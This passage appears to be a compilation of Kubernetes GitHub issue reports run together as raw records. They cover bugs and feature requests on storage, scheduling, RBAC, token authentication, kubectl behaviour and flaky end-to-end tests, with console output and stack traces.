2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : libvirt qemu vm, 4 cpu, 8gig ram\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts  xenial xerus \r -   kernel    e.g.  uname -a  : linux localhost 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r \r if you have multiple pods on the same node using pvcs that are backed by iscsi luns on the same external system over a single iscsi session  same iqn but different lun numbers , then deleting one of the pods causes the iscsi session to terminate for all pods on that node that are using it.\r \r for example, here  pod1  and  pod2  are nginx pods each connected to a different pvc, which are backed by luns residing on the same netapp storage system.  these share a single iscsi session, differing only by lun number.  once pod2 is deleted, all the connected luns are no longer available.\r \r  user@localhost:~$ kubectl get pod \r > name                       ready     status             restarts   age\r > kube-flannel-ds-glct5      2/2       running            0          59m\r > pod1                       1/1       running            0          2m\r > pod2                       1/1       running            0          1m\r \r  user@localhost:~$ lsscsi \r >  6:0:0:0     disk    netapp   lun c-mode       8300  /dev/sdb\r > 6:0:0:1     disk    netapp   lun c-mode       8300  /dev/sdc\r \r  user@localhost:~$ kubectl delete pod pod2 \r > pod \ pod2\  deleted\r \r  user@localhost:~$ kubectl get pod \r > name                       ready     status             restarts   age\r > kube-flannel-ds-glct5      2/2       running            0          1h\r > pod1                       1/1       running            0          2m\r \r  user@localhost:~$ lsscsi \r  user@localhost:~$ \r \r \r   what you expected to happen  :\r \r i expect that in-use iscsi sessions are not terminated\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. create 2 pvs and pvcs that are backed by a single storage system that aggrates iscsi connections into a single session.\r 2. create 2 pods that consume those pvcs\r 3. delete one of the pods\r \r \r   anything else we need to know  :\r

when creating a container through cri, one can define a complete security context for it. according to the  kubernetes security context documentation  https://kubernetes.io/docs/user-guide/security-context/ , the container security context can override the pod one.\r \r by exposing host namespaces settings and privileged flags at the container security context level, we could end up creating container with more host privileges than the ones defined at the pod level.\r \r should we remove some of the container security context settings to avoid misconfiguring them ?\r i think at least the privileged and host namespaces ones should be removed and containers should follow the pod security context for those.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r openstack, service ip\r \r \r   is this a bug report or feature request?    choose one :\r feature request\r \r when creating a service and supplying a loadbalancerip kubernetes will used this ip for the vip of the created loadbalancer. however in 98% of the cases, this is not what we want. the vip-address is only reachable from within openstack. external access to the loadbalancer is only possible using the floating-ip assoziated with the vip. so if the service should be used from outside the cluster  what is usually the case when creatin a service with loadbalancer  beeing able to choose the vip-address is essentialy useless. beeing able to choose the floating-ip  under which the service is reachable from outside the cluster  is much more usefull.\r \r i see different approaches to this:\r 1.  always use the address supplied via loadbalancerip for the floating ip instead of the vip.\r 2.  keep loadbalancerip as it is and add an annotation with the wanted floating-ip.\r 3.  add a parameter to the cloud-config file to choose what we want.\r 4.  add an annotation indicating for what loadbalancerip should be used.  what should be the default ?\r \r i would go with 1 or 4  with default ip=floating-ip , as in most cases this is what we want. but it may break current deployments.\r if we need something 100% backwards compatible i would go with 2 .\r \r what do you think? any other ideas?\r if we decide what we want, i would be happy to create a pr for this.\r \r \r note: it is not possible to choose a specific address when creating a new floating ip. but we can freely choose from the floating-ips already present in the tenant. if the wanted address is not present in the tenant we would just throw an error.\r \r this is somehow related to  32924. it is about leaving the vip-address out of the list of ip-addresses of the loadbalancer. for the same reason as here  the vip is mostly not what we want in an openstack-based kubernetes \r \r \r   kubernetes version    use  kubectl version  :\r kubernetes: 1.5.1\r kubectl: irrelevant\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack liberty  lbaasv1, keystone v2 \r -   os    e.g. from /etc/os-release : rhel 7  irrelevant \r -   kernel    e.g.  uname -a  : irrelevant\r -   install tools  : kubeadm\r -   others  :\r \r \r

master is fully packed and we need more space there. we want to decrease fluentd cpu request from 100m to 90m. currently it's not possible without changing it on nodes also and we don't want to decrease it there.\r \r follow up  47906  48066

>  \r   what happened  :\r while following through this tls  bootstrapping guide  https://kubernetes.io/docs/admin/kubelet-tls-bootstrapping/ token-authentication-file  i accidentally made a file with blank tokens.  format was  ,kubelet,kubelet  . i noticed that there was a particular format recommended in this guide but i don’t see that we do any verification of the token when  loading the file  https://github.com/kubernetes/apiserver/blob/master/pkg/authentication/token/tokenfile/tokenfile.go l43 . i also noted that you can enter any string as a token and authenticate.\r \r   what you expected to happen  :\r i'd expect the apiserver to verify the token length, or at least warn if no token is provided. i did verify that when the token is set to blank a user is not able to auth by providing an empty string as the token in  ~.kube/config .\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the  kube-apiserver  with  --token-auth-file  pointing to a file with the value  ,kubectl,kubectl \r \r   anything else we need to know?  :\r nope.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    bash\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    bash\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

recently introduced fix of tainting the node if ebs volume on a node is stuck for too long in \ attaching\  state does not work on rbac enabled clusters because of missing service account permissions.\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r invalid hairpin mode value in kubelet component config\r \r   what you expected to happen  :\r \r should be \ hairpin-veth\  instead of \ veth-flag\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r run application on kubernetes, the application use hostnetwork: true, and the application scheduler to node-a, the node-a has mutilple eth interface, i see the ip of pod is from the ip of node. but something want the other eth interface. because the eths interface has different performance.  how to set it? \r it will effect access services through kube-dns.\r \r   what you expected to happen  :\r want to set the ip of pod when pod use hostnetwork\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  : baremetal \r - kubernetes version  use  kubectl version  : kubernetes 1.8.3\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

1  the file with tests is huge  and the  validation.go  too :\r \r    console\r $ wc -l pkg/apis/core/validation/validation_test.go \r 12227 pkg/apis/core/validation/validation_test.go\r $ wc -l pkg/apis/core/validation/validation.go\r 4929 pkg/apis/core/validation/validation.go\r    \r \r i'd suggest to split them to a set of files.\r \r 2  many tests could continue to work even if the code is broken.\r \r in many places we have a check like this:  len errs  == 0  that always succeed if at least one, not matter which one, error is present. we should test for the expected error message instead.\r \r related to https://github.com/kubernetes/kubernetes/issues/56230\r \r @thockin wdyt? if you agree, i'll probably could start to slowly refactor them.\r \r  /area test

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-node-feature-requests \r \r   what happened  :\r before moving https://github.com/kubernetes/features/issues/559 to beta, we should have some further discussions about env expansion in general.  specifically:\r   are there better ways to implement this?  right now, each case of env expansion is handled independently at different points, and revalidation is considered specifically for each case.   is a general/common solution feasible? \r   if not, can we identify some standard/criteria for what fields should be allowed for expansion, and how they should handle revalidation.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r from : https://docs.google.com/document/d/1oze-ub-v6b8y-guawejl-vu_f9jsjbbrim4lttfxssw/edit heading=h.w7i4ksrweimp\r \r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r reuse labelnoderolemaster constant for loadbalancers in a common package kubernetes/pkg/apis/core and next to type node  instead of hard coding it. might be good to follow up on https://github.com/kubernetes/kubernetes/pull/39112 before working on this.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  /milestone v1.13\r  \r   what happened  :\r \r containerd & cri-containerd are now building for windows server 2019, but are not supported in the windows kubelet yet. this issue will be used to track the changes needed to make this happen and is expected to be done for v1.13. \r \r containerd will only work on windows server 2019. that release has improvements to the windows host compute service  hcs  needed to support the layers above it  winhcs, containerd, cri-containerd . these changes won't be available for windows server 2016, 1709 or 1803.\r \r   work items:  \r \r must-have:\r \r -     support named pipe  69516 \r \r \r nice to have:\r \r -     kubelet config - https://github.com/kubernetes/kubernetes/issues/64950 / https://github.com/kubernetes/kubernetes/issues/61674 \r \r   anything else we need to know?  :\r \r this is also needed to fix these bugs:\r \r - file mount https://github.com/kubernetes/kubernetes/issues/63121 https://github.com/kubernetes/kubernetes/issues/68791

please coordinate with sig-scheduling before working on this issue. we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue:  69767\r \r we all know that the kube-scheduler algorithm contains many predicates and priorities, all of which are derived from some common scheduling scenarios. but many users don't understand their role, and they don't know how to choose. \r \r so, we need to explain in detail the scheduling algorithm and how it works. how should we debug when something goes wrong? \r you can submit the document to the https://github.com/kubernetes/website/tree/master/content/en/docs/concepts/scheduling directory in pr.\r \r   /help\r /good-first-issue

we don't currently have any test coverage of impersonation for audit logging. i think the audit e2e test  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/auth/audit.go  would be a good place to do so.\r \r /area audit\r /area test\r  /help\r /good-first-issue

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : https://k8s-testgrid.appspot.com/sig-release-1.13-all soak-gci-gce-1.13\r \r   which test s  are failing  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-beta/481\r \r error:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:263\r nov 15 15:34:31.439: memory usage exceeding limits:\r  node bootstrap-e2e-minion-group-vzfd:\r  container \ runtime\ : expected rss memory  mb  < 367001600; got 368508928\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:155\r    \r \r   since when has it been failing  : started failing 11/13/2018\r \r   testgrid link  : https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-beta/481\r \r <!-- do not edit below this line -->\r  /  /milestone v1.13\r /cc @dchen1107 @derekwaynecarr

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r i gives user:  testname  a  role  and  rolebinding , and test it using  kubectl auth can-i , but it failed when use  --as xx --as-group xx   :\r \r    \r $ kubectl auth can-i -n myns get pods --as=testname --as-group=whatever\r error from server  forbidden : selfsubjectaccessreviews.authorization.k8s.io is forbidden: user \ ckauth\  cannot create selfsubjectaccessreviews.authorization.k8s.io at the cluster scop\r    \r \r and it's fine when only use  --as=xx \r    \r $ kubectl auth can-i -n myns get pods --as=testname\r yes\r    \r \r and it's fine when get pods without  auth can-i \r    \r $ kubectl -n myns get pods --as=testname --as-group=whatever\r name            ready     status    restarts   age\r pod-1           1/1         running        0            41d\r ...\r    \r \r and for the problem in the begining, to workaround it, i must create a  clusterrole  and a  clusterrolebinding  of resource  selfsubjectaccessreviews   for the user or the group.\r \r    \r // create a clusterrole with resource: selfsubjectaccessreviews\r $ kubectl create clusterrole ...\r \r // create a clusterrolebindind with this clusterrole for the user or group\r $ kubectl create clusterrolebinding ...\r \r $ kubectl auth can-i -n myns get pods --as=testname --as-group=whatever\r yes\r    \r \r   what you expected to happen  :\r \r whatever the group is, the ans should be ok because the  testname  has correct  rolebinding ,\r \r and we should not need to create the clusterrolebinding for  selfsubjectaccessreviews  because the k8s has  system:basic-user  clusterrole which gives permission to all users to create  selfsubjectaccessreviews .\r \r    \r $ kubectl get clusterrolebinding system:basic-user -o yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   annotations:\r     rbac.authorization.kubernetes.io/autoupdate: \ true\ \r   creationtimestamp: 2018-04-25t07:22:59z\r   labels:\r     kubernetes.io/bootstrapping: rbac-defaults\r   name: system:basic-user\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: system:basic-user\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:authenticated\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:unauthenticated\r    \r \r the test using  get pods  without  auth can-i  also prove my opinion.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.7\r - cloud provider or hardware configuration: no\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : 4.4.0-62-generic\r - install tools:\r - others:\r

what happened  :\r looks like kep organization changed and the component-base kep in the readme doesn't link anymore.\r \r   what you expected to happen  :\r link to go to the right document.\r \r   how to reproduce it  as minimally and precisely as possible   :\r click link - https://github.com/kubernetes/component-base/blob/master/readme.md\r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r n/a

for example, if i run      $ kubectl patch --validate pod valid-pod -p '{\ spec\ :{\ name\ :\ true\ }}' valid-pod      though spec.name is not a valid field,  --validate  does not report an error.  @nikhiljindal @bgrant0607

hi, check for default serviceaccount in kube-addons.sh script is in adequate. see the stack trace below. the relevant code is here: https://github.com/kubernetes/kubernetes/blob/v1.1.7/cluster/saltbase/salt/kube-addons/kube-addons.sh l173  also present on master branch as of today    feb 23 11:34:44 k24-master kube-addons.sh 17696 : namespace \ kube-system\  created feb 23 11:34:44 k24-master kube-addons.sh 17696 : == successfully started /etc/kubernetes/addons/namespace.yaml in namespace  at 2016-02-23t11:34:44+0000 feb 23 11:34:54 k24-master kube-addons.sh 17696 : error: error executing template '{{with index .secrets 0}}{{.name}}{{end}}': 'reflect: call of reflect.value.type on zero value' feb 23 11:34:54 k24-master kube-addons.sh 17696 : ----data---- feb 23 11:34:54 k24-master kube-addons.sh 17696 : map apiversion:v1 metadata:map selflink:/api/v1/namespaces/kube-system/serviceaccounts/default uid:6fa319c6-da21-11e5-bc78-42010af00004 resourceversion:18 creationtimestamp:2016-02-23t11:34 feb 23 11:34:55 k24-master kube-addons.sh 17696 : == default service account in the kube-system namespace has token error executing template: reflect: call of reflect.value.type on zero value   the code thinks  error executing template: reflect: call of reflect.value.type on zero value  is the token. i think it should check for length or words like error for proper checking.

when using  kubectl apply  for secrets the annotation will store the secret data, making it visible to  kubectl describe

as is discussed in https://github.com/kubernetes/kubernetes/issues/19077 issuecomment-216686379.  now we only update pod status at the beginning of  syncpod , so the pod status could never be able to reflect the changes happening in  syncpod , for example image pulling progress.  we should separate status update with  syncpod , so that we could update pod status whenever we need, and possibly driven by events.  /cc @kubernetes/sig-node

this is from a production server - not sure how this value got in here, but the rest client looks like it's recording the wrong field  maybe .status, instead of .code  in error cases.      rest_client_request_status_codes{code=\ get https://ip-x-x-x-x.ec2.internal/api/v1/limitranges?resourceversion=0: dial tcp 172.31.8.245:443: connection refused\ ,host=\ ip-x-x-x-x.ec2.internal\ ,method=\ get\ } 6

gci test failing:  kubernetes-gci-gke-serial-release-1.4    k8s.io kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node   https://k8s-testgrid.appspot.com/google-gke gci-gke-serial-release-1.4

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-serial/2253/  failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:232 expected error:     < errors.errorstring | 0xc8214e1d90>: {         s: \ 1 / 30 pods in namespace \\\ kube-system\\\  are not in the desired state in 5m0s\ pod                     node                          phase   grace conditions\ kibana-logging-v1-j99la jenkins-e2e-minion-group-rx30 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-09-30 23:08:06 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-10-01 01:15:26 -0700 pdt containersnotready containers with unready status:  kibana-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-09-30 23:08:06 -0700 pdt  } \ \ ,     }     1 / 30 pods in namespace \ kube-system\  are not in the desired state in 5m0s     pod                     node                          phase   grace conditions     kibana-logging-v1-j99la jenkins-e2e-minion-group-rx30 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-09-30 23:08:06 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-10-01 01:15:26 -0700 pdt containersnotready containers with unready status:  kibana-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-09-30 23:08:06 -0700 pdt  }   not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:225

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r both gce and nfs pv tests have been flaking, with this signature:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-gce.go:103\r expected error:\r     < errors.errorstring | 0xc42026f5a0>: {\r         s: \ pvc \\\ pvc-wc7m6\\\  did not become bound: persistentvolumeclaim pvc-wc7m6 not in phase bound within 5m0s\ ,\r     }\r     pvc \ pvc-wc7m6\  did not become bound: persistentvolumeclaim pvc-wc7m6 not in phase bound within 5m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-gce.go:45\r    \r \r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gce \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce/11722 \r \r \r   what you expected to happen  :\r tests should not be flaky

console\r 2017/09/07 16:08:20 util.go:132: running: make -c /usr/local/google/home/mml/gocode2/src/k8s.io/kubernetes bazel-release\r make: entering directory  /usr/local/google/home/mml/gocode2/src/k8s.io/kubernetes'\r info: reading 'startup' options from /tmp/zshh9ergf: --watchfs --output_base=/run/shm/mml\r ........................................\r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r warning: /run/shm/mml/external/bazel_tools/tools/build_defs/pkg/pkg.bzl:196:9: pkg_tar: renaming non-dict  files  attribute to  srcs \r info: analysed target //build/release-tars:release-tars  1920 packages loaded .\r info: found 1 target...\r error: source forest creation failed: /run/shm/mml/execroot/__main__/.kazelcfg.json  file exists \r info: elapsed time: 17.795s\r failed: build did not complete successfully\r make:      bazel-release  error 36\r make: leaving directory  /usr/local/google/home/mml/gocode2/src/k8s.io/kubernetes'\r 2017/09/07 16:08:44 util.go:134: step 'make -c /usr/local/google/home/mml/gocode2/src/k8s.io/kubernetes bazel-release' finished in 23.478206488s\r 2017/09/07 16:08:44 main.go:253: something went wrong: failed to acquire k8s binaries: error during make -c /usr/local/google/home/mml/gocode2/src/k8s.io/kubernetes bazel-release: exit status 2\r 2017/09/07 16:08:44 e2e.go:79: err: exit status 1\r exit status 1\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r in large node cases, when kubelet started, probers of the pods started in rapid succession, which made peak cpu utilization high.\r \r  probeticker  starts ticking before sleep   is called, which turn out that only the first time of prober execution is affected.\r \r besides, time period between first and the second time prober execution doesn't match given periodseconds due to sleep  \r \r see also https://github.com/kubernetes/kubernetes/blob/60604f8818aecbc9c3736fbc32747cc0a535bc80/pkg/kubelet/prober/worker.go l102 l116\r \r   what you expected to happen  :\r should call sleep   before  probeticker  starts ticking\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. a large node with many pods running on it. all the pods are set liveness prober.\r 2. restart kubelet and check the time of probers executed.\r \r in our environment, on a 8u64g node with 63 pods running on it, here's the prober execution after kubelet restarted.\r ! image  https://user-images.githubusercontent.com/6914660/30204608-a1d3ccdc-94b8-11e7-9184-32c710746d80.png \r \r \r /cc @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/16905 sig-storage-persistentvolumes-local-featurelocalpersistentvolumes-serial-when-pods-node-is-different-from-pvs-nodeaffinity-should-not-be-able-to-mount-due-to-different-nodeaffinity \r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gci-gce-alpha \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:298\r expected\r     <string>: 0/4 nodes are available: 3 matchnodeselector, 3 novolumenodeconflict.\r to contain substring\r     <string>: no nodes are available\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:425\r    \r \r looks like the event messaging has changed

is this a bug report or feature request?  :\r  \r   what happened  :\r running   kubectl get all   displays most resources, but not services.\r \r   what you expected to happen  :\r i would expect that kubectl get all displays also services, since service is a resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r shell$   kubectl get services  \r name            type        cluster-ip       external-ip   port s     age\r test-service    clusterip   100.71.255.214   <none>        5555/tcp   3d\r \r shell$   kubectl get all | grep test-service  \r shell$\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os: debian gnu/linux 8  jessie \r - kernel: linux 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r @kubernetes/sig-scheduling-bugs \r /assign\r \r   what happened  :\r when i run my e2e test on my own cluster with only my feature gates enabled, the statefulset test passes.  however, when the e2e test runs in ci, where all feature gates are enabled, the test is failing.  i'm suspecting there is some integration issue with other scheduling alpha features.\r \r the symptom i see, is that my predicate is only getting run against one node for 10 minutes.  after 10 minutes, the predicate starts to get run across all the nodes again.  also, this is hit on the second pod in the statefulset.  the first statefulset pod has no problems.\r \r    \r i1122 23:40:20.418567       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-tb58\ \r i1122 23:40:20.440905       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-tb58\ \r i1122 23:40:20.493613       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-tb58\ \r i1122 23:40:20.792998       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-tb58\ \r ...\r i1122 23:50:14.795526       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-tb58\ \r i1122 23:50:14.795964       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-master\ \r i1122 23:50:14.796184       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-3dbd\ \r i1122 23:50:14.796385       5 scheduler_binder.go:133  findpodvolumes for pod \ e2e-tests-persistent-local-volumes-test-jbrwq/local-volume-statefulset-1\ , node \ bootstrap-e2e-minion-group-k9mj\ \r    \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kube-controller-manager panic when removing a lot of nodes from kubernetes cluster:\r \r    \r e0123 08:40:04.850241       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r 